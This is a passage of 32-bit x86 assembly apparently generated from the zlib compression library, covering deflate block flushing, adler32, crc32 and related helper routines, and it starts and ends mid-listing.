%ecx movl $16, %esi jle .L0805341D .L08052EAF: movzwl 20(%ebp), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%edi), %cx movl 20(%edi), %eax orl %edx, %ecx movl 8(%edi), %edx movw %cx, 5816(%edi) movb %cl, (%eax,%edx) movl 20(%edi), %ecx leal 1(%ecx), %edx movl %edx, 20(%edi) movzbw 5817(%edi), %ax movl 8(%edi), %edx movb %al, 1(%ecx,%edx) movl 5820(%edi), %eax subl %eax, %esi movl %esi, %ecx incl 20(%edi) sarl %cl, %ebx subl $13, %eax .L08052EFA: movl %eax, 5820(%edi) movl 5820(%edi), %eax cmpl $8, %eax movl 12(%ebp), %esi jle .L08053400 .L08052F12: movl 20(%edi), %eax movl 8(%edi), %ecx movw %bx, 5816(%edi) movb %bl, (%eax,%ecx) movl 20(%edi), %ecx leal 1(%ecx), %edx movl 8(%edi), %ebx movzbw 5817(%edi), %ax movl %edx, 20(%edi) movb %al, 1(%ecx,%ebx) .L08052F3A: incl 20(%edi) .L08052F3D: movl 20(%edi), %eax movl 8(%edi), %edx movb 16(%ebp), %bl movw $0, 5816(%edi) movl $0, 5820(%edi) movb %bl, (%eax,%edx) movl 20(%edi), %edx movl 16(%ebp), %eax movl 8(%edi), %ebx leal 1(%edx), %ecx shrw $8, %ax movl %ecx, 20(%edi) movb %al, 1(%edx,%ebx) movl 20(%edi), %edx movb 16(%ebp), %al leal 1(%edx), %ecx movl 8(%edi), %ebx notl %eax movl %ecx, 20(%edi) movb %al, 1(%edx,%ebx) movl 16(%ebp), %eax movl 20(%edi), %edx notl %eax leal 1(%edx), %ecx movl 8(%edi), %ebx shrw $8, %ax movl %ecx, 20(%edi) movb %al, 1(%edx,%ebx) movl 20(%edi), %ebx incl %ebx movl 16(%ebp), %ecx movl %ebx, 20(%edi) jmp .L08052FBF .L08052FAD: movb (%esi), %al movl 8(%edi), %edx movb %al, (%ebx,%edx) movl 20(%edi), %edx incl %edx incl %esi movl %edx, %ebx movl %edx, 20(%edi) .L08052FBF: decl %ecx cmpl $-1, %ecx jne .L08052FAD .L08052FC5: xorl %eax, %eax .p2align 3 .L08052FC8: movw $0, 148(%edi,%eax,4) incl %eax cmpl $285, %eax jle .L08052FC8 .L08052FDA: xorl %eax, %eax .L08052FDC: movw $0, 2440(%edi,%eax,4) incl %eax cmpl $29, %eax jle .L08052FDC .L08052FEC: xorl %eax, %eax .L08052FEE: movw $0, 2684(%edi,%eax,4) incl %eax cmpl $18, %eax jle .L08052FEE .L08052FFE: movl 20(%ebp), %eax testl %eax, %eax movw $1, 1172(%edi) movl $0, 5804(%edi) movl $0, 5800(%edi) movl $0, 5808(%edi) movl $0, 5792(%edi) je .L08053083 .L08053036: movl 5820(%edi), %eax cmpl $8, %eax jle .L0805362D .L08053045: movl 20(%edi), %edx movl 8(%edi), %ebx movw 5816(%edi), %ax movb %al, (%edx,%ebx) movl 20(%edi), %ebx leal 1(%ebx), %esi movl 8(%edi), %edx movzbw 5817(%edi), %cx movl %esi, 20(%edi) movb %cl, 1(%ebx,%edx) .L0805306D: incl 20(%edi) .L08053070: movw $0, 5816(%edi) movl $0, 5820(%edi) .L08053083: leal -12(%ebp), %esp popl %ebx popl %esi popl %edi leave ret .L0805308B: movl $138, -32(%ebp) movl $3, -72(%ebp) jmp .L08052D38 .L0805309E: cmpl %ecx, %eax je .L0805313A .L080530A6: incl %ebx movl $7, -32(%ebp) movl $4, -72(%ebp) jmp .L08052D8D .L080530BA: testl %eax, %eax je .L080530D7 .L080530BE: cmpl -28(%ebp), %eax je .L080530CB .L080530C3: incw 2684(%edi,%eax,4) .L080530CB: incw 2748(%edi) jmp .L08052D71 .L080530D7: cmpl $10, %edx jg .L08053152 .L080530DC: incw 2752(%edi) jmp .L08052D71 .L080530E8: cmpl %ecx, %eax je .L0805312E .L080530EC: incl %ebx movl $7, -48(%ebp) movl $4, -72(%ebp) jmp .L08052E26 .L08053100: testl %eax, %eax je .L0805311D .L08053104: cmpl -44(%ebp), %eax je .L08053111 .L08053109: incw 2684(%edi,%eax,4) .L08053111: incw 2748(%edi) jmp .L08052E0A .L0805311D: cmpl $10, %edx jg .L08053146 .L08053122: incw 2752(%edi) jmp .L08052E0A .L0805312E: movl $6, -48(%ebp) jmp .L08052E1E .L0805313A: movl $6, -32(%ebp) jmp .L08052D85 .L08053146: incw 2756(%edi) jmp .L08052E0A .L08053152: incw 2756(%edi) jmp .L08052D71 .L0805315E: movl $-201342849, %edx xorl %eax, %eax jmp .L08053174 .L08053167: .p2align 3 .L08053168: incl %eax shrl $1, %edx cmpl $31, %eax jg .L080535DF .L08053174: testb $1, %dl je .L08053168 .L08053179: cmpw $0, 148(%edi,%eax,4) je .L08053168 .L08053184: xorl %eax, %eax movl %eax, 44(%ecx) jmp .L08052CE9 .L0805318E: movl 16(%ebp), %ecx addl $5, %ecx jmp .L08052E80 .L08053199: cmpl $4, 136(%edi) je .L08053499 .L080531A6: cmpl %edx, %ecx je .L08053499 .L080531AE: movl 5820(%edi), %edx cmpl $13, %edx movl $16, %esi jg .L08053434 .L080531C2: movl 20(%ebp), %ebx addl $4, %ebx movzwl %bx, %esi movb %dl, %cl sall %cl, %esi orw %si, 5816(%edi) leal 3(%edx), %eax .L080531D9: movl %eax, 5820(%edi) movl -16(%ebp), %edx movl 2844(%edi), %eax incl %edx leal 1(%eax), %esi movl %esi, -52(%ebp) movl %edx, -56(%ebp) movl 2856(%edi), %esi movl 5820(%edi), %edx incl %esi cmpl $11, %edx movl $16, -60(%ebp) jle .L080535A4 .L0805320F: leal -256(%eax), %ecx movzwl %cx, %ebx movl %ebx, %eax movb %dl, %cl movl %ebx, -76(%ebp) sall %cl, %eax movw 5816(%edi), %bx orl %eax, %ebx movl 8(%edi), %edx movl 20(%edi), %eax movw %bx, 5816(%edi) movb %bl, (%eax,%edx) movl 20(%edi), %ebx movzbw 5817(%edi), %ax leal 1(%ebx), %ecx movl 8(%edi), %edx movl %ecx, 20(%edi) movb %al, 1(%ebx,%edx) movl 5820(%edi), %eax subl %eax, -60(%ebp) movb -60(%ebp), %cl sarl %cl, -76(%ebp) movl -76(%ebp), %ecx incl 20(%edi) movw %cx, 5816(%edi) subl $11, %eax .L08053271: movl %eax, 5820(%edi) movl 5820(%edi), %ecx cmpl $11, %ecx movl $16, -64(%ebp) jle .L08053558 .L0805328D: decl %esi movzwl %si, %ebx movl %ebx, %eax sall %cl, %eax movw 5816(%edi), %cx orl %eax, %ecx movl %esi, -68(%ebp) movl 8(%edi), %edx movl 20(%edi), %esi movw %cx, 5816(%edi) movb %cl, (%esi,%edx) movl 20(%edi), %esi leal 1(%esi), %ecx movl 8(%edi), %edx movzbw 5817(%edi), %ax movl %ecx, 20(%edi) movb %al, 1(%esi,%edx) movl 5820(%edi), %esi subl %esi, -64(%ebp) subl $11, %esi movl %esi, 5820(%edi) movb -64(%ebp), %cl movl 5820(%edi), %edx sarl %cl, %ebx incl 20(%edi) cmpl $12, %edx movw %bx, 5816(%edi) movl $16, %esi jle .L08053588 .L080532FE: movl -56(%ebp), %eax subl $4, %eax movzwl %ax, %ebx movb %dl, %cl movl %ebx, %eax movl %ebx, -76(%ebp) sall %cl, %eax movw 5816(%edi), %bx orl %eax, %ebx movl 8(%edi), %edx movl 20(%edi), %eax movw %bx, 5816(%edi) movb %bl, (%eax,%edx) movl 20(%edi), %ebx movzbw 5817(%edi), %ax leal 1(%ebx), %ecx movl 8(%edi), %edx movl %ecx, 20(%edi) movb %al, 1(%ebx,%edx) movl 5820(%edi), %eax subl %eax, %esi movl %esi, %ecx sarl %cl, -76(%ebp) movl -76(%ebp), %esi incl 20(%edi) movw %si, 5816(%edi) subl $12, %eax .L0805335E: xorl %esi, %esi movl %eax, 5820(%edi) jmp .L080533CF .L08053368: movzbl bl_order(%esi), %eax movzwl 2686(%edi,%eax,4), %ebx movl %ebx, %edx sall %cl, %edx movw 5816(%edi), %cx movl 20(%edi), %eax orl %edx, %ecx movl 8(%edi), %edx movw %cx, 5816(%edi) movb %cl, (%eax,%edx) movl 20(%edi), %ecx leal 1(%ecx), %edx movl %edx, 20(%edi) movzbw 5817(%edi), %ax movl 8(%edi), %edx movb %al, 1(%ecx,%edx) movl 5820(%edi), %eax movl $16, %ecx subl %eax, %ecx sarl %cl, %ebx incl 20(%edi) movw %bx, 5816(%edi) subl $13, %eax .L080533C8: movl %eax, 5820(%edi) incl %esi .L080533CF: cmpl -56(%ebp), %esi jge .L0805352A .L080533D8: movl 5820(%edi), %ecx cmpl $13, %ecx jg .L08053368 .L080533E3: movzbl bl_order(%esi), %edx movzwl 2686(%edi,%edx,4), %ebx sall %cl, %ebx orw %bx, 5816(%edi) leal 3(%ecx), %eax jmp .L080533C8 .L08053400: testl %eax, %eax jle .L08052F3D .L08053408: movl 8(%edi), %edx movl 20(%edi), %ecx movw %bx, 5816(%edi) movb %bl, (%ecx,%edx) jmp .L08052F3A .L0805341D: movzwl 20(%ebp), %esi sall %cl, %esi movw 5816(%edi), %bx orl %esi, %ebx leal 3(%ecx), %eax jmp .L08052EFA .L08053434: movl 20(%ebp), %eax addl $4, %eax movzwl %ax, %ebx movb %dl, %cl movl %ebx, %eax movl %ebx, -76(%ebp) sall %cl, %eax movw 5816(%edi), %bx orl %eax, %ebx movl 8(%edi), %edx movl 20(%edi), %eax movw %bx, 5816(%edi) movb %bl, (%eax,%edx) movl 20(%edi), %ebx movzbw 5817(%edi), %ax leal 1(%ebx), %ecx movl 8(%edi), %edx movl %ecx, 20(%edi) movb %al, 1(%ebx,%edx) movl 5820(%edi), %eax subl %eax, %esi movl %esi, %ecx sarl %cl, -76(%ebp) movl -76(%ebp), %edx incl 20(%edi) subl $13, %eax movw %dx, 5816(%edi) jmp .L080531D9 .L08053499: movl 5820(%edi), %edx cmpl $13, %edx movl $16, %esi jle .L080535C3 .L080534AD: movl 20(%ebp), %eax addl $2, %eax movzwl %ax, %ebx movb %dl, %cl movl %ebx, %eax movl %ebx, -76(%ebp) sall %cl, %eax movw 5816(%edi), %bx orl %eax, %ebx movl 8(%edi), %edx movl 20(%edi), %eax movw %bx, 5816(%edi) movb %bl, (%eax,%edx) movl 20(%edi), %ebx movzbw 5817(%edi), %ax leal 1(%ebx), %ecx movl 8(%edi), %edx movl %ecx, 20(%edi) movb %al, 1(%ebx,%edx) movl 5820(%edi), %eax subl %eax, %esi movl %esi, %ecx sarl %cl, -76(%ebp) movl -76(%ebp), %esi incl 20(%edi) movw %si, 5816(%edi) subl $13, %eax .L0805350D: movl %eax, 5820(%edi) movl $static_ltree, %edx pushl $static_dtree .L0805351D: movl %edi, %eax call compress_block .L08053524: popl %eax jmp .L08052FC5 .L0805352A: movl -52(%ebp), %ecx decl %ecx leal 148(%edi), %ebx pushl %ecx movl %ebx, %edx movl %edi, %eax call send_tree .L0805353E: leal 2440(%edi), %esi popl %eax pushl -68(%ebp) movl %esi, %edx movl %edi, %eax call send_tree .L08053551: movl %ebx, %edx movl %esi, (%esp) jmp .L0805351D .L08053558: leal -1(%esi), %eax movzwl %ax, %edx leal 5(%ecx), %ebx sall %cl, %edx movl %ebx, 5820(%edi) orw %dx, 5816(%edi) movl 5820(%edi), %edx decl %esi cmpl $12, %edx movl %esi, -68(%ebp) movl $16, %esi jg .L080532FE .L08053588: movl -56(%ebp), %ebx subl $4, %ebx movzwl %bx, %esi movb %dl, %cl sall %cl, %esi orw %si, 5816(%edi) leal 4(%edx), %eax jmp .L0805335E .L080535A4: movl -52(%ebp), %ebx subl $257, %ebx movzwl %bx, %eax movb %dl, %cl sall %cl, %eax orw %ax, 5816(%edi) leal 5(%edx), %eax jmp .L08053271 .L080535C3: movl 20(%ebp), %ebx addl $2, %ebx movzwl %bx, %esi movb %dl, %cl sall %cl, %esi orw %si, 5816(%edi) leal 3(%edx), %eax jmp .L0805350D .L080535DF: cmpw $0, 184(%edi) jne .L08053602 .L080535E9: cmpw $0, 188(%edi) jne .L08053602 .L080535F3: cmpw $0, 200(%edi) movl $32, %eax je .L0805361B .L08053602: movl $1, %eax .L08053607: movl %eax, 44(%ecx) jmp .L08052CE9 .L0805360F: incl %eax cmpl $255, %eax jg .L08053184 .L0805361B: cmpw $0, 148(%edi,%eax,4) je .L0805360F .L08053626: movl $1, %eax jmp .L08053607 .L0805362D: testl %eax, %eax jle .L08053070 .L08053635: movl 8(%edi), %ecx movl 20(%edi), %esi movw 5816(%edi), %bx movb %bl, (%esi,%ecx) jmp .L0805306D .size _tr_flush_block, .-_tr_flush_block # ---------------------- .L0805364A: .p2align 2 .L08053680: incw 148(%ecx,%esi,4) movl 5788(%ecx), %eax decl %eax cmpl %eax, 5792(%ecx) popl %ebx popl %esi sete %cl movzbl %cl, %eax popl %edi leave ret .L080536A0: incl 5808(%ecx) leal -1(%ebx), %edx movzbl _length_code(%esi), %ebx incw 1176(%ecx,%ebx,4) cmpl $255, %edx jbe .L080536F0 .L080536C0: shrl $7, %edx movzbl _dist_code+256(%edx), %eax .L080536CA: leal 2432(,%eax,4), %esi incw 8(%ecx,%esi) movl 5788(%ecx), %eax decl %eax cmpl %eax, 5792(%ecx) popl %ebx popl %esi sete %cl movzbl %cl, %eax popl %edi leave ret .L080536EE: .p2align 3 .L080536F0: movzbl _dist_code(%edx), %eax jmp .L080536CA # ---------------------- .L080536F9: .p2align 2 # ---------------------- .globl zlibVersion .type zlibVersion, @function zlibVersion: pushl %ebp movl %esp, %ebp movl $.LC0805482C, %eax leave ret .size zlibVersion, .-zlibVersion # ---------------------- .L08053706: .p2align 3 # ---------------------- .globl zlibCompileFlags .type zlibCompileFlags, @function zlibCompileFlags: pushl %ebp movl %esp, %ebp movl $85, %eax leave ret .size zlibCompileFlags, .-zlibCompileFlags # ---------------------- .L08053712: .p2align 2 # ---------------------- .globl zError .type zError, @function zError: pushl %ebp movl %esp, %ebp movl $2, %eax subl 8(%ebp), %eax movl z_errmsg(,%eax,4), %eax leave ret .size zError, .-zError # ---------------------- .hidden zcalloc .globl zcalloc .type zcalloc, @function zcalloc: pushl %ebp movl %esp, %ebp movl 16(%ebp), %eax imull 12(%ebp), %eax movl %eax, 8(%ebp) leave jmp malloc .size zcalloc, .-zcalloc # ---------------------- .L0805373B: .p2align 2 # ---------------------- .hidden zcfree .globl zcfree .type zcfree, @function zcfree: pushl %ebp movl %esp, %ebp subl $20, %esp pushl 12(%ebp) call free .L0805374A: addl $16, %esp leave ret .size zcfree, .-zcfree # ---------------------- .L0805374F: .p2align 3 # ---------------------- .globl adler32 .type adler32, @function adler32: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $12, %esp movl 8(%ebp), %eax movl 16(%ebp), %edi movl %eax, %edx shrl $16, %edx movzwl %ax, %ecx cmpl $1, %edi movl 12(%ebp), %ebx movl %edx, -20(%ebp) je .L08053965 .L08053776: testl %ebx, %ebx movl $1, %esi je .L080537B9 .L0805377F: cmpl $15, %edi ja .L080537DA .L08053784: leal -1(%edi), %esi jmp .L08053793 .L08053789: movzbl (%ebx), %edi addl %edi, %ecx incl %ebx addl %ecx, -20(%ebp) decl %esi .L08053793: cmpl $-1, %esi jne .L08053789 .L08053798: cmpl $65520, %ecx jbe .L080537A6 .L080537A0: subl $65521, %ecx .L080537A6: movl $65521, %ebx movl -20(%ebp), %eax xorl %edx, %edx divl %ebx movl %edx, %esi sall $16, %esi orl %ecx, %esi .L080537B9: addl $12, %esp popl %ebx movl %esi, %eax popl %esi popl %edi leave ret .L080537C3: movl %ecx, %eax movl $65521, %esi xorl %edx, %edx divl %esi movl %edx, %ecx movl -20(%ebp), %eax xorl %edx, %edx divl %esi movl %edx, -20(%ebp) .L080537DA: cmpl $5551, %edi jbe .L0805388A .L080537E6: subl $5552, %edi movl $347, %esi .p2align 2 .L080537F4: movzbl (%ebx), %edx leal (%ecx,%edx), %eax movzbl 1(%ebx), %ecx movl -20(%ebp), %edx addl %eax, %edx addl %ecx, %eax movzbl 2(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 3(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 4(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 5(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 6(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 7(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 8(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 9(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 10(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 11(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 12(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 13(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 14(%ebx), %ecx addl %eax, %edx addl %ecx, %eax movzbl 15(%ebx), %ecx addl %eax, %edx leal (%eax,%ecx), %ecx addl %ecx, %edx addl $16, %ebx decl %esi movl %edx, -20(%ebp) jne .L080537F4 .L08053885: jmp .L080537C3 .L0805388A: testl %edi, %edi je .L08053958 .L08053892: jmp .L08053924 .L08053897: movzbl (%ebx), %eax leal (%ecx,%eax), %edx movl -20(%ebp), %esi movzbl 1(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 2(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 3(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 4(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 5(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 6(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 7(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 8(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 9(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 10(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 11(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 12(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 13(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 14(%ebx), %ecx addl %edx, %esi addl %ecx, %edx movzbl 15(%ebx), %ecx addl %edx, %esi leal (%edx,%ecx), %ecx addl %ecx, %esi subl $16, %edi movl %esi, -20(%ebp) addl $16, %ebx .L08053924: cmpl $15, %edi ja .L08053897 .L0805392D: leal -1(%edi), %esi jmp .L0805393C .L08053932: movzbl (%ebx), %edi addl %edi, %ecx incl %ebx addl %ecx, -20(%ebp) decl %esi .L0805393C: cmpl $-1, %esi jne .L08053932 .L08053941: movl $65521, %ebx movl %ecx, %eax xorl %edx, %edx divl %ebx movl %edx, %ecx movl -20(%ebp), %eax xorl %edx, %edx divl %ebx movl %edx, -20(%ebp) .L08053958: movl -20(%ebp), %esi sall $16, %esi orl %ecx, %esi jmp .L080537B9 .L08053965: movzbl (%ebx), %esi addl %esi, %ecx cmpl $65520, %ecx jbe .L08053978 .L08053972: subl $65521, %ecx .L08053978: movl -20(%ebp), %eax addl %ecx, %eax cmpl $65520, %eax jbe .L08053989 .L08053984: subl $65521, %eax .L08053989: movl %eax, %esi sall $16, %esi orl %ecx, %esi jmp .L080537B9 .size adler32, .-adler32 # ---------------------- .L08053995: .p2align 3 # ---------------------- .globl adler32_combine .type adler32_combine, @function adler32_combine: pushl %ebp movl %esp, %ebp movl 16(%ebp), %eax cltd pushl %esi testl %edx, %edx pushl %ebx movl $-1, %ecx js .L08053A1A .L080539AA: pushl $0 pushl $65521 pushl %edx pushl %eax call __moddi3 .L080539B8: movzwl 8(%ebp), %ecx movl $65521, %edx movl %edx, %esi movl %eax, %ebx xorl %edx, %edx imull %ecx, %eax divl %esi shrl $16, 8(%ebp) movzwl 12(%ebp), %esi leal (%esi,%ecx), %ecx shrl $16, 12(%ebp) movl 8(%ebp), %eax addl 12(%ebp), %eax leal 65520(%ecx), %esi subl %ebx, %eax addl $16, %esp cmpl $65520, %esi leal 65521(%eax,%edx), %eax ja .L08053A24 .L080539FB: cmpl $131041, %eax jbe .L08053A07 .L08053A02: subl $131042, %eax .L08053A07: cmpl $65520, %eax jbe .L08053A13 .L08053A0E: subl $65521, %eax .L08053A13: movl %eax, %ecx sall $16, %ecx orl %esi, %ecx .L08053A1A: leal -8(%ebp), %esp popl %ebx movl %ecx, %eax popl %esi leave ret .L08053A23: .p2align 2 .L08053A24: leal -1(%ecx), %esi cmpl $65520, %esi jbe .L080539FB .L08053A2F: leal -65522(%ecx), %esi jmp .L080539FB .size adler32_combine, .-adler32_combine # ---------------------- .L08053A37: .p2align 3 # ---------------------- .globl adler32_combine64 .type adler32_combine64, @function adler32_combine64: pushl %ebp movl %esp, %ebp movl 20(%ebp), %ecx pushl %esi testl %ecx, %ecx pushl %ebx movl 16(%ebp), %edx movl $-1, %eax js .L08053ABA .L08053A4C: pushl $0 pushl $65521 pushl %ecx pushl %edx call __moddi3 .L08053A5A: movzwl 8(%ebp), %ecx movl $65521, %edx movl %edx, %esi movl %eax, %ebx xorl %edx, %edx imull %ecx, %eax divl %esi shrl $16, 8(%ebp) movzwl 12(%ebp), %eax leal (%eax,%ecx), %esi shrl $16, 12(%ebp) movl 8(%ebp), %eax addl 12(%ebp), %eax leal 65520(%esi), %ecx subl %ebx, %eax addl $16, %esp cmpl $65520, %ecx leal 65521(%eax,%edx), %eax ja .L08053AC4 .L08053A9D: cmpl $131041, %eax jbe .L08053AA9 .L08053AA4: subl $131042, %eax .L08053AA9: cmpl $65520, %eax jbe .L08053AB5 .L08053AB0: subl $65521, %eax .L08053AB5: sall $16, %eax orl %ecx, %eax .L08053ABA: leal -8(%ebp), %esp popl %ebx popl %esi leave ret .L08053AC1: .p2align 2 .L08053AC4: leal -1(%esi), %ecx cmpl $65520, %ecx jbe .L08053A9D .L08053ACF: leal -65522(%esi), %ecx jmp .L08053A9D .size adler32_combine64, .-adler32_combine64 # ---------------------- .L08053AD7: .p2align 3 # ---------------------- .globl get_crc_table .type get_crc_table, @function get_crc_table: pushl %ebp movl %esp, %ebp movl $crc_table, %eax leave ret .size get_crc_table, .-get_crc_table # ---------------------- .L08053AE2: .p2align 2 # ---------------------- .globl crc32 .type crc32, @function crc32: pushl %ebp movl %esp, %ebp movl 12(%ebp), %edx pushl %edi pushl %esi xorl %eax, %eax testl %edx, %edx pushl %ebx je .L08053D0D .L08053AF7: movl 16(%ebp), %edi movl 8(%ebp), %eax movl %eax, %ebx testl %edi, %edi movl %edx, %ecx notl %ebx je .L08053B24 .L08053B07: .p2align 3 .L08053B08: testb $3, %cl je .L08053B24 .L08053B0D: movb (%ecx), %al xorl %ebx, %eax movzbl %al, %edx shrl $8, %ebx xorl crc_table(,%edx,4), %ebx incl %ecx decl %edi jne .L08053B08 .L08053B22: .p2align 2 .L08053B24: movl %ecx, %esi jmp .L08053CA3 .L08053B2B: .p2align 2 .L08053B2C: movl %ebx, %edx xorl (%esi), %edx movzbl %dh, %eax movzbl %dl, %ecx movl crc_table+2048(,%eax,4), %eax shrl $16, %edx movzbl %dl, %ebx xorl crc_table+3072(,%ecx,4), %eax xorl crc_table+1024(,%ebx,4), %eax shrl $8, %edx xorl crc_table(,%edx,4), %eax xorl 4(%esi), %eax movzbl %ah, %edx movzbl %al, %ecx movl crc_table+2048(,%edx,4), %ebx shrl $16, %eax xorl crc_table+3072(,%ecx,4), %ebx movzbl %al, %ecx xorl crc_table+1024(,%ecx,4), %ebx shrl $8, %eax xorl crc_table(,%eax,4), %ebx xorl 8(%esi), %ebx movzbl %bh, %eax movzbl %bl, %ecx movl crc_table+2048(,%eax,4), %eax shrl $16, %ebx xorl crc_table+3072(,%ecx,4), %eax movzbl %bl, %ecx xorl crc_table+1024(,%ecx,4), %eax shrl $8, %ebx xorl crc_table(,%ebx,4), %eax xorl 12(%esi), %eax movzbl %ah, %edx movzbl %al, %ecx movl crc_table+2048(,%edx,4), %ebx shrl $16, %eax xorl crc_table+3072(,%ecx,4), %ebx movzbl %al, %ecx xorl crc_table+1024(,%ecx,4), %ebx shrl $8, %eax xorl crc_table(,%eax,4), %ebx xorl 16(%esi), %ebx movzbl %bh, %eax movzbl %bl, %ecx movl crc_table+2048(,%eax,4), %eax shrl $16, %ebx xorl crc_table+3072(,%ecx,4), %eax movzbl %bl, %ecx xorl crc_table+1024(,%ecx,4), %eax shrl $8, %ebx xorl crc_table(,%ebx,4), %eax xorl 20(%esi), %eax movzbl %ah, %edx movzbl %al, %ecx movl crc_table+2048(,%edx,4), %ebx shrl $16, %eax xorl crc_table+3072(,%ecx,4), %ebx movzbl %al, %ecx xorl crc_table+1024(,%ecx,4), %ebx shrl $8, %eax xorl crc_table(,%eax,4), %ebx xorl 24(%esi), %ebx movzbl %bh, %eax movzbl %bl, %ecx movl crc_table+2048(,%eax,4), %eax shrl $16, %ebx xorl crc_table+3072(,%ecx,4), %eax movzbl %bl, %ecx xorl crc_table+1024(,%ecx,4), %eax shrl $8, %ebx xorl crc_table(,%ebx,4), %eax xorl 28(%esi), %eax movzbl %ah, %edx movzbl %al, %ecx movl crc_table+2048(,%edx,4), %ebx shrl $16, %eax xorl crc_table+3072(,%ecx,4), %ebx movzbl %al, %ecx xorl crc_table+1024(,%ecx,4), %ebx shrl $8, %eax addl $32, %esi xorl crc_table(,%eax,4), %ebx subl $32, %edi .L08053CA3: cmpl $31, %edi ja .L08053B2C .L08053CAC: cmpl $3, %edi jbe .L08053CEE .L08053CB1: .p2align 2 .L08053CB4: movl %ebx, %eax xorl (%esi), %eax movzbl %ah, %edx movzbl %al, %ecx movl crc_table+2048(,%edx,4), %ebx shrl $16, %eax movzbl %al, %edx xorl crc_table+3072(,%ecx,4), %ebx xorl crc_table+1024(,%edx,4), %ebx shrl $8, %eax addl $4, %esi xorl crc_table(,%eax,4), %ebx subl $4, %edi cmpl $3, %edi ja .L08053CB4 .L08053CEE: movl %esi, %edx testl %edi, %edi jmp .L08053D07 .L08053CF4: movb (%edx), %al xorl %ebx, %eax movzbl %al, %esi shrl $8, %ebx xorl crc_table(,%esi,4), %ebx incl %edx decl %edi .L08053D07: jne .L08053CF4 .L08053D09: movl %ebx, %eax notl %eax .L08053D0D: popl %ebx popl %esi popl %edi leave ret .size crc32, .-crc32 # ---------------------- .L08053D12: .p2align 2 # ---------------------- .local crc32_combine_ .type crc32_combine_, @function crc32_combine_: pushl %ebp movl %esp, %ebp pushl %edi pushl %esi pushl %ebx subl $284, %esp cmpl $0, 12(%ebp) movl %eax, -284(%ebp) movl %edx, -288(%ebp) jle .L08053EA9 .L08053D36: movl $-306674912, -280(%ebp) movl $1, %edx movl $1, %eax .L08053D4A: movl %edx, -280(%ebp,%eax,4) incl %eax sall $1, %edx cmpl $31, %eax jle .L08053D4A .L08053D59: leal -152(%ebp), %edi leal -280(%ebp), %esi xorl %ebx, %ebx .L08053D67: movl (%esi,%ebx,4), %eax xorl %ecx, %ecx testl %eax, %eax movl %esi, %edx je .L08053D81 .L08053D72: .p2align 2 .L08053D74: testb $1, %al je .L08053D7A .L08053D78: xorl (%edx), %ecx .L08053D7A: addl $4, %edx shrl $1, %eax jne .L08053D74 .L08053D81: movl %ecx, (%edi,%ebx,4) incl %ebx cmpl $31, %ebx jle .L08053D67 .L08053D8A: xorl %ebx, %ebx .L08053D8C: movl (%edi,%ebx,4), %eax xorl %ecx, %ecx testl %eax, %eax movl %edi, %edx je .L08053DA5 .L08053D97: .p2align 3 .L08053D98: testb $1, %al je .L08053D9E .L08053D9C: xorl (%edx), %ecx .L08053D9E: addl $4, %edx shrl $1, %eax jne .L08053D98 .L08053DA5: movl %ecx, (%esi,%ebx,4) incl %ebx cmpl $31, %ebx jle .L08053D8C .L08053DAE: xorl %ebx, %ebx .L08053DB0: movl (%esi,%ebx,4), %eax xorl %ecx, %ecx testl %eax, %eax movl %esi, %edx je .L08053DC9 .L08053DBB: .p2align 2 .L08053DBC: testb $1, %al je .L08053DC2 .L08053DC0: xorl (%edx), %ecx .L08053DC2: addl $4, %edx shrl $1, %eax jne .L08053DBC .L08053DC9: movl %ecx, (%edi,%ebx,4) incl %ebx cmpl $31, %ebx jle .L08053DB0 .L08053DD2: movl 8(%ebp), %eax andl $1, %eax testl %eax, %eax je .L08053DFD .L08053DDC: movl -284(%ebp), %eax xorl %ecx, %ecx testl %eax, %eax movl %edi, %edx je .L08053DF7 .L08053DEA: testb $1, %al je .L08053DF0 .L08053DEE: xorl (%edx), %ecx .L08053DF0: addl $4, %edx shrl $1, %eax jne .L08053DEA .L08053DF7: movl %ecx, -284(%ebp) .L08053DFD: movl 12(%ebp), %edx movl 8(%ebp), %ecx shrdl $1, %edx, %ecx sarl $1, %edx movl %edx, -292(%ebp) orl %ecx, %edx movl %ecx, -296(%ebp) je .L08053E8C .L08053E19: xorl %ebx, %ebx .p2align 2 .L08053E1C: movl (%edi,%ebx,4), %eax xorl %ecx, %ecx testl %eax, %eax movl %edi, %edx je .L08053E35 .L08053E27: .p2align 3 .L08053E28: testb $1, %al je .L08053E2E .L08053E2C: xorl (%edx), %ecx .L08053E2E: addl $4, %edx shrl $1, %eax jne .L08053E28 .L08053E35: movl %ecx, (%esi,%ebx,4) incl %ebx cmpl $31, %ebx jle .L08053E1C .L08053E3E: movl -296(%ebp), %ebx andl $1, %ebx testl %ebx, %ebx je .L08053E6C .L08053E4B: movl -284(%ebp), %eax xorl %ecx, %ecx testl %eax, %eax movl %esi, %edx je .L08053E66 .L08053E59: testb $1, %al je .L08053E5F .L08053E5D: xorl (%edx), %ecx .L08053E5F: addl $4, %edx shrl $1, %eax jne .L08053E59 .L08053E66: movl %ecx, -284(%ebp) .L08053E6C: movl -292(%ebp), %ecx movl 